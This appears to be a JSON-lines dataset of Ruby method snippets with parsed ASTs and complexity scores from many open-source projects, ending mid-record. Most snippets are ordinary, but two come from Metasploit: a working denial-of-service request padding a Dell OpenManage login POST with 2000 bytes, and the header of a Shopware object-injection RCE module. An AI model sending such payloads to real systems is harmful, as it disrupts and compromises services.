{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/lib/task_helpers/imports/roles_spec.rb","start_line":62,"raw_source":"def assert_test_role_one_present\n    r = MiqUserRole.find_by(:name => role_one_name)\n    expect(r.name).to eq(role_one_name)\n    expect(r.read_only).to be false\n    expect(r.feature_identifiers).to eq([\"about\"])\n    expect(r.settings).to eq(:restrictions=>{:vms=>:user_or_group})\n  end","complexity_score":23.8,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_test_role_one_present\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqUserRole\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"role_one_name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"name\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"send\",\"children\":[null,\"role_one_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"read_only\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"feature_identifiers\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"about\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"settings\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"restrictions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vms\"]},{\"type\":\"sym\",\"children\":[\"user_or_group\"]}]}]}]}]}]}]}]}]}","id":"4f3286d8-0226-4939-8a59-0ae2898baaa7"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/integration_test.rb","start_line":242,"raw_source":"def set_cookie\n      cookies[\"foo\"] = \"bar\"\n      head :ok\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_cookie\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}","id":"7c2b49d9-d400-43c6-8577-04b572d2cc18"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/messages_controller.rb","start_line":112,"raw_source":"def update\n    # TODO: move into contract\n    return render_403 unless @message.editable_by?(User.current)\n\n    call = update_message(@message)\n\n    if call.success?\n      flash[:notice] = t(:notice_successful_update)\n      @message.reload\n      redirect_to topic_path(@message.root, r: @message.parent_id && @message.id)\n    else\n      render action: :edit, status: :unprocessable_entity\n    end\n  end","complexity_score":23.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@message\"]},\"editable_by?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_403\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"call\",{\"type\":\"send\",\"children\":[null,\"update_message\",{\"type\":\"ivar\",\"children\":[\"@message\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"success?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"sym\",\"children\":[\"notice_successful_update\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@message\"]},\"reload\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"topic_path\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@message\"]},\"root\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"r\"]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@message\"]},\"parent_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@message\"]},\"id\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"edit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}]}","id":"4e0ea4c1-2fd6-426d-80de-256375859c74"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/spec/rspec/core/formatters/syntax_highlighter_spec.rb","start_line":81,"raw_source":"def find_highlighted_terms_in(code_snippet)\n        lines = code_snippet.split(\"\\n\")\n        highlighted = highlighter.highlight(lines)\n        highlighted_terms = []\n\n        highlighted.join(\"\\n\").scan(/\\e\\[[1-9]\\dm(\\w+)\\e\\[0m/) do |first_capture, _|\n          highlighted_terms << first_capture\n        end\n\n        highlighted_terms.uniq\n      end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"find_highlighted_terms_in\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"code_snippet\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lines\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code_snippet\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"highlighted\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"highlighter\"]},\"highlight\",{\"type\":\"lvar\",\"children\":[\"lines\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"highlighted_terms\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"highlighted\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\e\\\\[[1-9]\\\\dm(\\\\w+)\\\\e\\\\[0m\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"first_capture\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"highlighted_terms\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"first_capture\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"highlighted_terms\"]},\"uniq\"]}]}]}","id":"0c7c3c12-aa51-4897-b65d-864aacb70f17"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/naming/predicate_prefix.rb","start_line":126,"raw_source":"def on_def(node)\n          predicate_prefixes.each do |prefix|\n            method_name = node.method_name.to_s\n\n            next if allowed_method_name?(method_name, prefix)\n            next if use_sorbet_sigs? && !sorbet_sig?(node, return_type: 'T::Boolean')\n\n            add_offense(\n              node.loc.name,\n              message: message(method_name, expected_name(method_name, prefix))\n            )\n          end\n        end","complexity_score":23.1,"ast_json":"{\"type\":\"def\",\"children\":[\"on_def\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"predicate_prefixes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prefix\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"method_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method_name\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_method_name?\",{\"type\":\"lvar\",\"children\":[\"method_name\"]},{\"type\":\"lvar\",\"children\":[\"prefix\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"use_sorbet_sigs?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sorbet_sig?\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"return_type\"]},{\"type\":\"str\",\"children\":[\"T::Boolean\"]}]}]}]},\"!\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"message\",{\"type\":\"lvar\",\"children\":[\"method_name\"]},{\"type\":\"send\",\"children\":[null,\"expected_name\",{\"type\":\"lvar\",\"children\":[\"method_name\"]},{\"type\":\"lvar\",\"children\":[\"prefix\"]}]}]}]}]}]}]}]}]}","id":"f1182504-cfd1-43d8-8e8b-8edd8c2eb816"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/relative_positioning/item_context.rb","start_line":130,"raw_source":"def shift_right\n        move_sequence_after(true)\n        object.reset_relative_position\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"shift_right\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"move_sequence_after\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"reset_relative_position\"]}]}]}","id":"0feeb8bd-14d8-4c4e-a912-c71955164958"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/http/dell_openmanage_post.rb","start_line":48,"raw_source":"def run\n    connect\n\n    foo = 'user=user&password=password&domain=domain&application=' + Rex::Text.pattern_create(2000)\n\n    sploit = \"POST /servlet/LoginServlet?flag=true HTTP/1.0\\r\\n\"\n    sploit << \"Content-Length: #{foo.length}\\r\\n\\r\\n\"\n    sploit << foo\n\n    sock.put(sploit + \"\\r\\n\\r\\n\")\n\n    disconnect\n  end","complexity_score":13.15,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"foo\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"user=user&password=password&domain=domain&application=\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"pattern_create\",{\"type\":\"int\",\"children\":[2000]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"str\",\"children\":[\"POST /servlet/LoginServlet?flag=true HTTP/1.0\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Length: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"foo\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\"\\r\\n\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"foo\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"2fcff203-c8c5-4b20-89af-e1f6a501bc85"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/url_helper_test.rb","start_line":542,"raw_source":"def test_link_to_with_symbolic_remote_in_non_html_options\n    assert_dom_equal(\n      %{<a href=\"/\" data-remote=\"true\">Hello</a>},\n      link_to(\"Hello\", hash_for(remote: true), {})\n    )\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_link_to_with_symbolic_remote_in_non_html_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<a href=\\\"/\\\" data-remote=\\\"true\\\">Hello</a>\"]},{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"str\",\"children\":[\"Hello\"]},{\"type\":\"send\",\"children\":[null,\"hash_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remote\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"04e28141-9c57-45b9-aeef-3fbf27dcdec6"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/tags_controller.rb","start_line":40,"raw_source":"def report_range\n      (PERIOD_DAYS.ago.to_date...Time.now.utc.to_date)\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"report_range\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"erange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PERIOD_DAYS\"]},\"ago\"]},\"to_date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},\"to_date\"]}]}]}]}","id":"909ee03d-1504-467a-9372-e6900a66c1c0"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/oauth/error_response.rb","start_line":79,"raw_source":"def raise_exception!\n        raise exception_class.new(self), description\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"raise_exception!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exception_class\"]},\"new\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"description\"]}]}]}","id":"5d8de9f9-48f8-46c1-bcc8-ee8a274b6652"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/projects/cycle_analytics_events_spec.rb","start_line":101,"raw_source":"def create_cycle\n    milestone = create(:milestone, project: project)\n    issue.update!(milestone: milestone)\n    mr = create_merge_request_closing_issue(user, project, issue, commit_message: \"References #{issue.to_reference}\")\n\n    pipeline = create(:ci_empty_pipeline, status: 'created', project: project, ref: mr.source_branch, sha: mr.source_branch_sha, head_pipeline_of: mr)\n    pipeline.run\n\n    create(:ci_build, pipeline: pipeline, status: :success, author: user)\n    create(:ci_build, pipeline: pipeline, status: :success, author: user)\n\n    merge_merge_requests_closing_issue(user, project, issue)\n\n    ProcessCommitWorker.new.perform(project.id, user.id, mr.commits.last.to_hash)\n\n    mr.metrics.update!(latest_build_started_at: 1.hour.ago, latest_build_finished_at: Time.now)\n  end","complexity_score":47.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_cycle\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"milestone\",{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"milestone\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"milestone\"]},{\"type\":\"lvar\",\"children\":[\"milestone\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mr\",{\"type\":\"send\",\"children\":[null,\"create_merge_request_closing_issue\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"issue\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit_message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"References \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},\"to_reference\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pipeline\",{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"ci_empty_pipeline\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"str\",\"children\":[\"created\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mr\"]},\"source_branch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mr\"]},\"source_branch_sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"head_pipeline_of\"]},{\"type\":\"lvar\",\"children\":[\"mr\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"run\"]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"ci_build\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline\"]},{\"type\":\"lvar\",\"children\":[\"pipeline\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"success\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"ci_build\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline\"]},{\"type\":\"lvar\",\"children\":[\"pipeline\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"success\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"merge_merge_requests_closing_issue\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"issue\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProcessCommitWorker\"]},\"new\"]},\"perform\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mr\"]},\"commits\"]},\"last\"]},\"to_hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mr\"]},\"metrics\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"latest_build_started_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"hour\"]},\"ago\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"latest_build_finished_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]}]}]}]}]}","id":"a84d7537-6cd6-48c6-9c2f-80a03d9c48a1"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/i18n/backend/discourse_i18n.rb","start_line":11,"raw_source":"def available_locales\n        LocaleSiteSetting.supported_locales.map(&:to_sym)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"available_locales\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LocaleSiteSetting\"]},\"supported_locales\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_sym\"]}]}]}]}","id":"100e9a81-415c-4084-b355-9fc778835031"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/useless_access_modifier.rb","start_line":275,"raw_source":"def any_method_definition?(child)\n          cop_config.fetch('MethodCreatingMethods', []).any? do |m|\n            # Some users still have `\"included\"` in their `MethodCreatingMethods` configurations,\n            # so to prevent Ruby method redefinition warnings let's just skip this value.\n            next if m == 'included'\n\n            matcher_name = :\"#{m}_method?\"\n            unless respond_to?(matcher_name)\n              self.class.def_node_matcher matcher_name, <<~PATTERN\n                {def (send nil? :#{m} ...)}\n              PATTERN\n            end\n\n            public_send(matcher_name, child)\n          end\n        end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"any_method_definition?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_config\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"MethodCreatingMethods\"]},{\"type\":\"array\",\"children\":[]}]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"==\",{\"type\":\"str\",\"children\":[\"included\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"matcher_name\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]}]},{\"type\":\"str\",\"children\":[\"_method?\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"matcher_name\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"def_node_matcher\",{\"type\":\"lvar\",\"children\":[\"matcher_name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{def (send nil? :\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]}]},{\"type\":\"str\",\"children\":[\" ...)}\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"public_send\",{\"type\":\"lvar\",\"children\":[\"matcher_name\"]},{\"type\":\"lvar\",\"children\":[\"child\"]}]}]}]}]}","id":"aaf5ec51-07ab-4fe4-8f27-9d5b33556bee"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/shopware_createinstancefromnamedarguments_rce.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"Shopware createInstanceFromNamedArguments PHP Object Instantiation RCE\",\n        'Description' => %q{\n          This module exploits a php object instantiation vulnerability that can lead to RCE in\n          Shopware. An authenticated backend user could exploit the vulnerability.\n\n          The vulnerability exists in the createInstanceFromNamedArguments function, where the code\n          insufficiently performs whitelist check which can be bypassed to trigger an object injection.\n\n          An attacker can leverage this to deserialize an arbitrary payload and write a webshell to\n          the target system, resulting in remote code execution.\n\n          Tested on Shopware git branches 5.6, 5.5, 5.4, 5.3.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Karim Ouerghemmi', # original discovery\n          'mr_me <steven@srcincite.io>', # patch bypass, rce & msf module\n        ],\n        'References' => [\n          ['CVE', '2019-12799'], # yes really, assigned per request\n          ['CVE', '2017-18357'],                                                                         # not really because we bypassed this patch\n          ['URL', 'https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/']      # initial writeup w/ limited exploitation\n        ],\n        'Platform' => 'php',\n        'Arch' => ARCH_PHP,\n        'Targets' => [['Automatic', {}]],\n        'Privileged' => false,\n        'DisclosureDate' => '2019-05-09',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, \"Base Shopware path\", '/']),\n        OptString.new('USERNAME', [true, \"Backend username to authenticate with\", 'demo']),\n        OptString.new('PASSWORD', [false, \"Backend password to authenticate with\", 'demo'])\n      ]\n    )\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Shopware createInstanceFromNamedArguments PHP Object Instantiation RCE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a php object instantiation vulnerability that can lead to RCE in\\n\"]},{\"type\":\"str\",\"children\":[\"          Shopware. An authenticated backend user could exploit the vulnerability.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The vulnerability exists in the createInstanceFromNamedArguments function, where the code\\n\"]},{\"type\":\"str\",\"children\":[\"          insufficiently performs whitelist check which can be bypassed to trigger an object injection.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          An attacker can leverage this to deserialize an arbitrary payload and write a webshell to\\n\"]},{\"type\":\"str\",\"children\":[\"          the target system, resulting in remote code execution.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Tested on Shopware git branches 5.6, 5.5, 5.4, 5.3.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Karim Ouerghemmi\"]},{\"type\":\"str\",\"children\":[\"mr_me 